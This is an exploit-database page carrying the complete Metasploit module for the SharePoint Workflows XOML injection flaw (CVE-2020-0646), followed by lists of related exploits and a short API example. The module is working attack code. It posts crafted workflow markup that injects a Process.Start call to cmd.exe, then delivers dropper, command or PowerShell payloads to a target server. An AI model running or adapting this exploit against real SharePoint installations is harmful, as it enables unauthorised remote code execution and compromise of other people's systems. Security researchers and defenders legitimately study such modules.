Become a patron and gain access to the dashboard, Schedule scans, API and Search

Search for hundreds of thousands of exploits

"SharePoint Workflows - XOML Injection (Metasploit)"

Author

Exploit author

Metasploit

Platform

Exploit platform

windows

Release date

Exploit published date

2020-03-31

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'SharePoint Workflows XOML Injection',
      'Description' => %q{
        This module exploits a vulnerability within SharePoint and its .NET backend
        that allows an attacker to execute commands using specially crafted XOML data
        sent to SharePoint via the Workflows functionality.
      },
      'Author' => [
        'Spencer McIntyre',
        'Soroush Dalili'
      ],
      'License' => MSF_LICENSE,
      'References' => [
        ['CVE', '2020-0646'],
        ['URL', 'https://www.mdsec.co.uk/2020/01/code-injection-in-workflows-leading-to-sharepoint-rce-cve-2020-0646/']
      ],
      'Platform' => 'win',
      'Targets' => [
        [ 'Windows EXE Dropper', { 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :windows_dropper } ],
        [ 'Windows Command', { 'Arch' => ARCH_CMD, 'Type' => :windows_command, 'Space' => 3000 } ],
        [ 'Windows Powershell',
          'Arch'         => [ARCH_X86, ARCH_X64],
          'Type'         => :windows_powershell
        ]
      ],
      'DefaultOptions' => {
        'RPORT' => 443,
        'SSL'   => true
      },
      'DefaultTarget' => 0,
      'DisclosureDate' => '2020-03-02',
      'Notes' =>
      {
        'Stability'   => [CRASH_SAFE,],
        'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
        'Reliability' => [REPEATABLE_SESSION],
      },
      'Privileged' => true
    ))

    register_options([
      OptString.new('TARGETURI', [ true, 'The base path to the SharePoint application', '/' ]),
      OptString.new('DOMAIN',    [ true, 'The domain to use for Windows authentication', 'WORKGROUP' ]),
      OptString.new('USERNAME',  [ true, 'Username to authenticate as', '' ]),
      OptString.new('PASSWORD',  [ true, 'The password to authenticate with' ])
    ])
  end

  def check
    res = execute_command("echo #{Rex::Text.rand_text_alphanumeric(4 + rand(8))}")
    return CheckCode::Unknown('Did not receive an HTTP 200 OK response') unless res&.code == 200

    compiler_errors = extract_compiler_errors(res)
    return CheckCode::Unknown('No compiler errors were reported') unless compiler_errors&.length > 0

    # once patched you get a specific compiler error message about the type name
    return CheckCode::Safe if compiler_errors[0].to_s =~ /is not a valid language-independent type name/

    CheckCode::Vulnerable
  end

  def extract_compiler_errors(res)
    return nil unless res&.code == 200

    xml_doc = res.get_xml_document
    result = xml_doc.search('//*[local-name()=\'ValidateWorkflowMarkupAndCreateSupportObjectsResult\']').text
    return nil if result.length == 0

    xml_result = Nokogiri::XML(result)
    xml_result.xpath('//CompilerError/@Text')
  end

  def exploit
    # NOTE: Automatic check is implemented by the AutoCheck mixin
    super

    case target['Type']
    when :windows_command
      execute_command(payload.encoded)
    when :windows_dropper
      cmd_target = targets.select {|target| target['Type'] == :windows_command}.first
      execute_cmdstager({linemax: cmd_target.opts['Space']})
    when :windows_powershell
      execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true))
    end
  end

  def escape_command(cmd)
    # a bunch of characters have to be escaped, so use a whitelist of those that are allowed and escape the rest as unicode
    cmd.gsub(/([^a-zA-Z0-9 $:;\-\.=\[\]\{\}\(\)])/) { |x| "\\u%.4x" %x.unpack('C*')[0] }
  end

  def execute_command(cmd, opts = {})
    xoml_data = <<-EOS
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <ValidateWorkflowMarkupAndCreateSupportObjects xmlns="http://microsoft.com/sharepoint/webpartpages">
      <workflowMarkupText>
        <![CDATA[
          <SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
            <CallExternalMethodActivity x:Name="foo" MethodName='test1' InterfaceType='System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe", "/c #{escape_command(cmd)}");private/**/void/**/foobar(){//' />
          </SequentialWorkflowActivity>
        ]]>
      </workflowMarkupText>
      <rulesText></rulesText>
      <configBlob></configBlob>
      <flag>2</flag>
    </ValidateWorkflowMarkupAndCreateSupportObjects>
  </soap:Body>
</soap:Envelope>
    EOS

    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, '_vti_bin', 'webpartpages.asmx'),
      'ctype'    => 'text/xml; charset=utf-8',
      'data'     => xoml_data,
      'username' => datastore['USERNAME'],
      'password' => datastore['PASSWORD']
    })

    unless res&.code == 200
      print_error('Non-200 HTTP response received while trying to execute the command')
    end

    res
  end
end
Release Date Title Type Platform Author
2020-10-27 "TDM Digital Signage PC Player 4.1 - Insecure File Permissions" local windows LiquidWorm
2020-10-14 "Guild Wars 2 - Insecure Folder Permissions" local windows "George Tsimpidas"
2020-10-13 "Battle.Net 1.27.1.12428 - Insecure File Permissions" local windows "George Tsimpidas"
2020-10-07 "BACnet Test Server 1.01 - Remote Denial of Service (PoC)" dos windows LiquidWorm
2020-09-29 "BearShare Lite 5.2.5 - 'Advanced Search'Buffer Overflow in (PoC)" local windows "Christian Vierschilling"
2020-09-29 "CloudMe 1.11.2 - Buffer Overflow ROP (DEP_ASLR)" local windows boku
2020-09-28 "MSI Ambient Link Driver 1.0.0.8 - Local Privilege Escalation" local windows "Matteo Malvica"
2020-09-21 "ForensiTAppxService 2.2.0.4 - 'ForensiTAppxService.exe' Unquoted Service Path" local windows "Burhanettin Ozgenc"
2020-09-17 "Microsoft SQL Server Reporting Services 2016 - Remote Code Execution" remote windows "West Shepherd"
2020-09-16 "Windows TCPIP Finger Command - C2 Channel and Bypassing Security Software" local windows hyp3rlinx
Release Date Title Type Platform Author
2020-05-25 "Plesk/myLittleAdmin - ViewState .NET Deserialization (Metasploit)" remote windows Metasploit
2020-05-25 "Synology DiskStation Manager - smart.cgi Remote Command Execution (Metasploit)" remote hardware Metasploit
2020-05-22 "WebLogic Server - Deserialization RCE - BadAttributeValueExpException (Metasploit)" remote multiple Metasploit
2020-05-19 "Pi-Hole - heisenbergCompensator Blocklist OS Command Execution (Metasploit)" remote php Metasploit
2020-05-01 "Apache Shiro 1.2.4 - Cookie RememberME Deserial RCE (Metasploit)" remote multiple Metasploit
2020-04-28 "Docker-Credential-Wincred.exe - Privilege Escalation (Metasploit)" local windows Metasploit
2020-04-20 "Unraid 6.8.0 - Auth Bypass PHP Code Execution (Metasploit)" remote linux Metasploit
2020-04-17 "Nexus Repository Manager - Java EL Injection RCE (Metasploit)" remote linux Metasploit
2020-04-16 "ThinkPHP - Multiple PHP Injection RCEs (Metasploit)" remote linux Metasploit
2020-04-16 "VMware Fusion - USB Arbitrator Setuid Privilege Escalation (Metasploit)" local macos Metasploit
2020-04-16 "TP-Link Archer A7/C7 - Unauthenticated LAN Remote Code Execution (Metasploit)" remote linux_mips Metasploit
2020-04-16 "Apache Solr - Remote Code Execution via Velocity Template (Metasploit)" remote multiple Metasploit
2020-04-16 "PlaySMS - index.php Unauthenticated Template Injection Code Execution (Metasploit)" remote php Metasploit
2020-04-16 "DotNetNuke - Cookie Deserialization Remote Code Execution (Metasploit)" remote windows Metasploit
2020-04-16 "Pandora FMS - Ping Authenticated Remote Code Execution (Metasploit)" remote linux Metasploit
2020-04-16 "Liferay Portal - Java Unmarshalling via JSONWS RCE (Metasploit)" remote java Metasploit
2020-03-31 "IBM TM1 / Planning Analytics - Unauthenticated Remote Code Execution (Metasploit)" remote multiple Metasploit
2020-03-31 "SharePoint Workflows - XOML Injection (Metasploit)" remote windows Metasploit
2020-03-31 "Redis - Replication Code Execution (Metasploit)" remote linux Metasploit
2020-03-31 "DLINK DWL-2600 - Authenticated Remote Command Injection (Metasploit)" remote hardware Metasploit
2020-03-17 "Rconfig 3.x - Chained Remote Code Execution (Metasploit)" remote linux Metasploit
2020-03-17 "ManageEngine Desktop Central - Java Deserialization (Metasploit)" remote multiple Metasploit
2020-03-10 "Nagios XI - Authenticated Remote Command Execution (Metasploit)" remote linux Metasploit
2020-03-10 "PHPStudy - Backdoor Remote Code execution (Metasploit)" remote php Metasploit
2020-03-09 "Apache ActiveMQ 5.x-5.11.1 - Directory Traversal Shell Upload (Metasploit)" remote windows Metasploit
2020-03-09 "PHP-FPM - Underflow Remote Code Execution (Metasploit)" remote php Metasploit
2020-03-09 "Google Chrome 72 and 73 - Array.map Out-of-Bounds Write (Metasploit)" remote multiple Metasploit
2020-03-09 "Google Chrome 80 - JSCreate Side-effect Type Confusion (Metasploit)" remote multiple Metasploit
2020-03-09 "OpenSMTPD - OOB Read Local Privilege Escalation (Metasploit)" local linux Metasploit
2020-03-09 "Google Chrome 67_ 68 and 69 - Object.create Type Confusion (Metasploit)" remote multiple Metasploit
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/48275/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.